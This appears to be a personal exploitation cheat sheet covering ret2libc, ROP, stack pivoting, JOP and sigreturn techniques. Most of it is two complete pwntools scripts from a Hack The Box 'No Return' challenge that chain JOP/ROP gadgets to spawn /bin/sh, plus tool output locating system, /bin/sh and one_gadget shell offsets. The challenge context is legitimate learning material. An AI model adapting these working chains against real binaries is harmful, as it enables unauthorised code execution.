Link to this headingRet2libc

When the stack is not executable running executable code can be done though the shared libraries.

https://shellblade.net/files/docs/ret2libc.pdf

Finding functions to call in libs:

readelf -a /usr/lib32/libc.so.6 | grep system 251: 001265e0 102 FUNC GLOBAL DEFAULT 13 svcerr_systemerr@@GLIBC_2.0 640: 0003c7d0 55 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE 1485: 0003c7d0 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0 565: 00000000 0 FILE LOCAL DEFAULT ABS system.c 566: 0003c2b0 1086 FUNC LOCAL DEFAULT 13 do_system 4988: 001265e0 102 FUNC LOCAL DEFAULT 13 __GI_svcerr_systemerr 6919: 0003c7d0 55 FUNC WEAK DEFAULT 13 system 7539: 001265e0 102 FUNC GLOBAL DEFAULT 13 svcerr_systemerr 7602: 0003c7d0 55 FUNC GLOBAL DEFAULT 13 __libc_system

Finding offsets of strings:

strings -t x /usr/lib32/libc.so.6 | grep /bin/sh 17888a /bin/sh

Link to this headingReturn Oriented Programing (ROP)

Uses Gadgets of minimal ASM followed by a return to hop to the next gadget.

Ropper
Quick RCE with ROP
Search your gadgets on your binaries to facilitate your ROP exploitation. ROPgadget supports ELF, PE and Mach-O format on x86, x64, ARM, ARM64, PowerPC, SPARC and MIPS architectures.

Link to this headingOne Search gadget

Find Shell in Glibc:

>>> one_gadget /usr/lib/libc.so.6 0xcd7aa execve("/bin/sh", r12, r13) constraints: [r12] == NULL || r12 == NULL [r13] == NULL || r13 == NULL 0xcd7ad execve("/bin/sh", r12, rdx) constraints: [r12] == NULL || r12 == NULL [rdx] == NULL || rdx == NULL 0xcd7b0 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL

Link to this headingRop Searcher with r2

>>> r2 `which exa` [0x0000c100]> aaa [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze function calls (aac) [x] Analyze len bytes of instructions for references (aar) [x] Check for objc references [x] Check for vtables [x] Type matching analysis for all functions (aaft) [x] Propagate noreturn information [x] Use -AA or aaaa to perform additional experimental analysis. [0x0000c100]> /Rl call rdx 0x00110588 55 push rbp 0x00110589 ebf0 jmp 0x11057b 0x0011058b ff4cecf0 dec dword [rsp + rbp*8 - 0x10] 0x0011058f ffd2 call rdx 0x0011058a f0ff4cecf0 lock dec dword [rsp + rbp*8 - 0x10] 0x0011058f ffd2 call rdx 0x00110710 b835f1ff8e mov eax, 0x8efff135 0x00110715 31f1 xor ecx, esi 0x00110717 ffd2 call rdx

r2 Source

Sample ROP Gadgets to look for:

  • /R/ pop [re][abcds][ix] (Put something into a register from the stack)
  • /R/ xchg [re]sp (Exchange something on the stack with a register)
  • /R/ mov \[[reabcsix]+\]>, [reabcsix]+ (Arbitrary write from second address to first address)

Link to this headingStack Pivoting

This is used when you do not control enough of the stack or when you cant overwrite things on the stack.

Finding a Stack Pivot Gadget:

[0x0000c100]> /Rl pop rsp 0x0010f98d 5c pop rsp 0x0010f98e 415d pop r13 0x0010f990 415e pop r14 0x0010f992 415f pop r15 0x0010f994 c3 ret

Link to this headingJump Oriented Programing (JOP)

This was taken from the No Return challenge

#!/usr/bin/env python # -*- coding: utf-8 -*- # This exploit template was generated via: # $ pwn template 2020_04.bin from pwn import * from pwnlib.util.cyclic import cyclic_metasploit, cyclic_metasploit_find import struct # Set up pwntools for the correct architecture exe = context.binary = ELF('2020_04.bin') # Set up pwntools for the correct architecture context.terminal = ['urxvt', '-e', 'zsh', '-c'] def setupGadgets(): gadget_list = [] ####################################################################################### # 2nd JOP Gadget: Jump to Gadget in Base Pointer with offset # 0x000000000040103c: add rbp, rbx; wait; jmp qword ptr [rbp - 0x39]; ####################################################################################### gadget_list.append(p64(0x000000000040103c)) ####################################################################################### # 3rd JOP Gadget: Copy the Current stack pointer into RCX. This contains the # 0x000000000040101c: mov rcx, rsp; std; jmp qword ptr [rdx]; ####################################################################################### gadget_list.append(p64(0x000000000040101c)) ####################################################################################### # 4rd JOP Gadget: Swap the RBP Gadget in RDI to RCX. Swap the exec string to RDI # 0x0000000000401067: xchg rdi, rcx; std; jmp qword ptr [rdx]; ####################################################################################### gadget_list.append(p64(0x0000000000401067)) ####################################################################################### # 5th JOP Gadget: Set the RCX register to the exec string. # While the value is not needed it increases the stack pointer. # The RBP Gadget in RDX is copyed backover to RCX. # The syscall number will be inserted into RDX. (Will be swapped with RAX) # 0x000000000040104c: pop rcx; mov rcx, rdx; pop rdx; jmp qword ptr [rcx]; ####################################################################################### gadget_list.append(p64(0x000000000040104c)) ####################################################################################### # 6th JOP Gadget: Move the 0x00 in RAX to RDX and move the syscall number from RDX to RAX # 0x000000000040105a: xchg rax, rdx; fdivp st(1); jmp qword ptr [rcx]; ####################################################################################### gadget_list.append(p64(0x000000000040105a)) ####################################################################################### # 7th JOP Gadget: Everything is setup now lets call syscall # 0x0000000000401082: syscall; ####################################################################################### gadget_list.append(p64(0x0000000000401082)) return b"".join(reversed(gadget_list)) host = args.HOST or 'docker.hackthebox.eu' port = int(args.PORT or 30544) def local(argv=[], *a, **kw): if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw) # Specify your GDB script here for debugging # GDB will be launched if the exploit is run via e.g. # ./exploit.py GDB gdbscript = ''' break *0x{exe.entry:x} break *0x0401000 #continue '''.format(**locals()) #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: amd64-64-little # RELRO: No RELRO # Stack: No canary found # NX: NX enabled # PIE: No PIE (0x400000) #Set the process with the /bin/sh argument. This makes it easy to set the argv pointer io = start(['/bin/sh']) ### Get the offset to be used for the padding #testinput = cyclic_metasploit(200) ### Get the padding length from a previous crash pad_len = cyclic_metasploit_find(b"8Af9") print(f"Padding Length: {pad_len}") ### Read the leak for a pointer to the stack inital_stack_pointer = u64(io.recv(8)) print(f"Stack Pointer: {hex(inital_stack_pointer)}") # Do some pointer calculation #Get argv[1] which is a pointer to a pointer of /bin/sh args_pointer = inital_stack_pointer + (0x08 * 2) #Get the enviroment pointer env_pointer = inital_stack_pointer + (0x08 * 3) payload_start = (inital_stack_pointer - (pad_len + 0x8)) print(f"Payload Start: {hex(payload_start)}") ############################# # Registers to set # rax = 59 or 0x3b # rdi = "/bin/sh\x00" (const char *filename) # rsi = 0x00 or a pointer to a list of args (const char *const argv[]) # rdx = 0x00 or a pointer to a list of env varables (const char *const envp[]) # # The call syscall ############################# ############################# # Start of JOP ############################# ####################################################################################### # 1st JOP Gadget: Stack Piviot and pop varables into registers ####################################################################################### jop_payload = b"" #0x0000000000401000: pop rsp; pop rdi; pop rsi; pop rbp; pop rdx; pop rcx; pop rbx; xor rax, rax; jmp qword ptr [rdi + 1]; jop_payload += p64(0x0000000000401000) # pop rsp # Set the stack pointer to the begining of the Stack Payload jop_payload += p64(payload_start) # pop rdi # RDI will contain a pointer to a gadget on the gadget list. This is on the stack and can be calculated. ####################################################################################### # 2nd JOP Gadget: Jump to Gadget in Base Pointer with offset # 0x000000000040103c: add rbp, rbx; wait; jmp qword ptr [rbp - 0x39]; ####################################################################################### stack_payload = p64(inital_stack_pointer - (0x8 * 2) - 1) # pop rsi # Set the arguments to the pointer calulated from the leak #stack_payload += p64(args_pointer) stack_payload += p64(0x00) # pop rbp # Set RBP + 0x39 to point to the gadget table. This makes it when the add happens it goes to the next gadget # Set this to 0x39 less than the gadget list set_rbp = (inital_stack_pointer - (0x8 *2)) + 0x39 stack_payload += p64(set_rbp) print(f"RBP Target: {hex((inital_stack_pointer - (0x8 *2)))}") # pop rdx # RDX will the Second Gadget The RBP gadget stack_payload += p64(inital_stack_pointer - (0x8 * 2)) # pop rcx # RCX will be pointer to stack_payload += p64(0x00) # pop rbx # This is padding for the data to be loaded into rbx stack_payload += p64(-0x8, sign="signed") # This is the place the RSP will be pointing to when the 3rd JOP gadget is executed # This is also where the pop rcx is done but then imedetly overwitten stack_payload += b"/bin/sh\x00" # pop rdx # This is the syscall number and will be swapped with rax stack_payload += p64(59) #Set up the Gadget list gadget_list = setupGadgets() #Setup payload structure payload = fit({ 0: stack_payload, pad_len - len(gadget_list): gadget_list, pad_len: jop_payload }) io.send(payload) print(util.fiddling.hexdump(payload, groupsize=16)) io.interactive()

Link to this headingMixed JOP and ROP

This was also taken from the No Return Challenge.

#!/usr/bin/env python # -*- coding: utf-8 -*- # This exploit template was generated via: # $ pwn template 2020_04.bin from pwn import * from pwnlib.util.cyclic import cyclic_metasploit, cyclic_metasploit_find import struct # Set up pwntools for the correct architecture exe = context.binary = ELF('2020_04.bin') # Set up pwntools for the correct architecture context.terminal = ['urxvt', '-e', 'zsh', '-c'] def setupGadgets(): gadget_list = [] #Second Gadget #0x0000000000401067: xchg rdi, rcx; std; jmp qword ptr [rdx]; gadget_list.append(p64(0x0000000000401067)) #Third Gadget #0x0000000000401062: ret; gadget_list.append(p64(0x0000000000401062)) return b"".join(reversed(gadget_list)) def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) # Specify your GDB script here for debugging # GDB will be launched if the exploit is run via e.g. # ./exploit.py GDB gdbscript = ''' #tbreak *0x{exe.entry:x} tbreak *0x0401000 #continue '''.format(**locals()) #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: amd64-64-little # RELRO: No RELRO # Stack: No canary found # NX: NX enabled # PIE: No PIE (0x400000) #Set the process with the /bin/sh argument. This makes it easy to set the argv pointer io = start(['/bin/sh', ""]) ### Get the offset to be used for the padding #testinput = cyclic_metasploit(200) ### Get the padding length from a previous crash pad_len = cyclic_metasploit_find(b"8Af9") print(f"Padding Length: {pad_len}") ### Read the leak for a pointer to the stack inital_stack_pointer = struct.unpack('q', io.recv(8))[0] print(f"Stack Pointer: {hex(inital_stack_pointer)}") # Do some pointer calculation #Get argv[1] which is a pointer to a pointer of /bin/sh args_pointer = inital_stack_pointer + 0x08 * 2 #Get the enviroment pointer env_pointer = inital_stack_pointer + 0x08 * 3 payload_start = (inital_stack_pointer - pad_len - 0x8) print(f"Payload Start: {hex(payload_start)}") ############################# # Registers to set # rax = 59 or 0x3b # rdi = "/bin/sh\x00" (const char *filename) # rsi = 0x00 or a pointer to a list of args (const char *const argv[]) # rdx = 0x00 or a pointer to a list of env varables (const char *const envp[]) # # The call syscall ############################# ############################# # Start of JOP ############################# ####################################################################################### # 1st JOP Gadget: Stack Piviot and pop varables into registers ####################################################################################### jop_payload = b"" #0x0000000000401000: pop rsp; pop rdi; pop rsi; pop rbp; pop rdx; pop rcx; pop rbx; xor rax, rax; jmp qword ptr [rdi + 1]; jop_payload += p64(0x0000000000401000) # pop rsp # Set the stack pointer to the begining of the Stack Payload # -0xB8 jop_payload += p64(payload_start) # pop rdi # RDI will contain a pointer to a gadget on the gadget list. This is on the stack and can be calculated. ####################################################################################### # 2nd JOP Gadget: Exchange rdi and rcx to set the rdi varable to the executable to run # 0x0000000000401067: xchg rdi, rcx; std; jmp qword ptr [rdx]; ####################################################################################### stack_payload = p64(inital_stack_pointer - (0x8)*2 - 1) # pop rsi # Set the arguments to the pointer calulated from the leak #stack_payload += p64(args_pointer) stack_payload += p64(0x00) # pop rbp # The RBP is not needed just filled with padding stack_payload += b"BPBPBPBP" # pop rdx # RDX will contain a pointer to a gadget on the gadget list. This is on the stack and can be calculated. ####################################################################################### # 3rd JOP Gadget: The Ret instruction lets us change from JOP to ROP # 0x0000000000401062: ret; ####################################################################################### stack_payload += p64(inital_stack_pointer - (0x8)*3) # pop rcx # Since RCX will be swapped with RDI in the Second Gadget this will contain a pointer to the executable string. # This string is at the end of the payload and can only be calculated after knowing the length of the payload stack_payload += p64(inital_stack_pointer - 0x58) # pop rbx # This is padding for the data to be loaded into rbx stack_payload += b"BXBXBXBX" # Because the RCX Register has ret gadget it is possoble to make this a ROP chain # The limiting factor is that all of the Gadgets must end with jmp qword ptr [rcx]; # This makes it so that the next instruction can be poped off the stack and executed. # This works since the ret JOP gadget is loaded in to the RCX register ####################################################################################### # 1st ROP Gadget: Lets copy the ret gadget into RCX and set RDX to be switched into RAX # 0x000000000040104d: mov rcx, rdx; pop rdx; jmp qword ptr [rcx]; ####################################################################################### stack_payload += p64(0x000000000040104d) #POP RDX to be put into RAX stack_payload += p64(59) ####################################################################################### # 2nd ROP Gadget: Lets set RAX by swaping with RDX # 0x000000000040105a: xchg rax, rdx; fdivp st(1); jmp qword ptr [rcx]; ####################################################################################### stack_payload += p64(0x000000000040105a) ####################################################################################### # 3nd ROP Gadget: Lets set RDX # 0x0000000000401050: pop rdx; jmp qword ptr [rcx]; ####################################################################################### stack_payload += p64(0x0000000000401050) # pop RDX # This is the enviroment pointer #stack_payload += p64(env_pointer) stack_payload += p64(0x00) ####################################################################################### # 4nd ROP Gadget: Everything is setup lets execute the syscall # 0x0000000000401082: syscall; ####################################################################################### stack_payload += p64(0x0000000000401082) #Here is the shell varable at the offset -0x58 stack_payload += b"/bin/sh\x00" #Set up the Gadget list gadget_list = setupGadgets() #Setup payload structure payload = fit({ 0: stack_payload, pad_len - len(gadget_list): gadget_list, pad_len: jop_payload }) io.send(payload) #print(util.fiddling.hexdump(payload, groupsize=16)) io.interactive()

Link to this headingSigreturn-oriented programming

Source

When a signal occurs, the kernel “pauses” the process’s execution in order to jump to a signal handler routine. In order to safely resume the execution after the handler, the context of that process is pushed/saved on the stack (registers, flags, instruction pointer, stack pointer etc). When the handler is finished, sigreturn() is being called which will restore the context of the process by popping the values off of the stack. This can modify all registers in an cpu including stack pointer, instruction pointers and others

If the attacker can write values on to the stack they can forge a sigcontext structure